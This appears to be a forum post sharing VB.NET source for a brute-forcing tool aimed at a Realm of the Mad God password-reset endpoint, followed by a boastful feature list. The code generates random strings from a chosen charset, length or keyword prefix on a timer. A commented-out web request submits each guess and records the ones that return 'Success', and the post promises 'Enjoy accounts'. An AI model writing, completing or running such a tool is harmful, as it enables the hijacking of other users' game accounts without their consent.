Yet Another Disposable Checker X ~ AUTOMATIC BRUTEFORCING ~ NO BATCH

Imports System.Text

Public Class Form1
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim attempts As Integer
        attempts = 0
        If RadioButton1.Checked = True Then
            Dim validchars As String = TextBox4.Text
            Dim sb As New StringBuilder()
            Dim rand As New Random()
            For i As Integer = 1 To TextBox5.Text
                Dim idx As Integer = rand.Next(0, validchars.Length)
                Dim randomChar As Char = validchars(idx)
                sb.Append(randomChar)
            Next i

            Dim randomString = sb.ToString()
            TextBox2.Text = randomString
        End If
        If RadioButton2.Checked = True Then
            Dim validchars As String = TextBox4.Text
            Dim sb As New StringBuilder()
            Dim rand As New Random()
            For i As Integer = 1 To TextBox7.Text
                Dim idx As Integer = rand.Next(0, validchars.Length)
                Dim randomChar As Char = validchars(idx)
                sb.Append(randomChar)
            Next i

            Dim randomString = sb.ToString()
            TextBox2.Text = TextBox6.Text + randomString
        End If
        If RadioButton3.Checked = True Then
            Dim amount As Integer
            amount = CInt(Math.Ceiling(Rnd() * most.text)) + 1
            Dim validchars As String = TextBox4.Text
            Dim sb As New StringBuilder()
            Dim rand As New Random()
            For i As Integer = 1 To amount
                Dim idx As Integer = rand.Next(0, validchars.Length)
                Dim randomChar As Char = validchars(idx)
                sb.Append(randomChar)
            Next i

            Dim randomString = sb.ToString()
            TextBox2.Text = randomString
        End If

        'Dim webpageData As String
        Using webClient As New System.Net.WebClient()
            'webpageData = webClient.DownloadString("http://realmofthemadgod.appspot.com/account/forgotPassword?guid=" + TextBox2.Text + TextBox14.Text)
        End Using
        'Dim containsWord = webpageData.Contains("Success")
        'If containsWord = True Then
        'ListBox1.Items.Add(TextBox2.Text + TextBox14.Text)

        'End If

        If CheckBox1.Checked = True Then
            If RadioButton1.Checked = True Then
                TextBox1.Text = Val(TextBox1.Text) + 1
            End If
        End If


    End Sub
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer2.Interval = TextBox3.Text

    End Sub

    Private Sub TextBox4_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox4.TextChanged

    End Sub

    Private Sub TextBox5_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox5.TextChanged

    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim onl As Boolean
        If Timer2.Enabled = True Then
            onl = True
        Else
            onl = False
        End If
        If onl = True Then
            Timer2.Stop()
            Button1.Text = "Unpause"
        End If
        If onl = False Then
            Timer2.Start()
            Button1.Text = "Pause"
        End If


    End Sub

    Private Sub RadioButton2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton2.CheckedChanged

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If RadioButton2.Checked = False Then
            TextBox6.Enabled = False
            TextBox7.Enabled = False

        End If
        If RadioButton1.Checked = False Then
            TextBox5.Enabled = False


        End If
        If RadioButton3.Checked = False Then

            most.Enabled = False

        End If
        If RadioButton3.Checked = True Then

            most.Enabled = True

        End If
        If RadioButton1.Checked = True Then
            TextBox5.Enabled = True


        End If
        If RadioButton2.Checked = True Then
            TextBox6.Enabled = True
            TextBox7.Enabled = True

        End If
    End Sub
End Class

Automatic bruteforcing.
Background bruteforcing.
No RAM / CPU devouring.
No windows open anymore.
Programatically searching for successes and listing them out.
A new unique feature ~ Select a keyword ~ Select random amount of letters that follow it ~ Enjoy accounts
Another unique feature (kindof) ~ Random amount of letters ~ You select the maximum.
Customizable charset!
Customizable domain!
Customizable cooldown between checks.
It even has a pause button!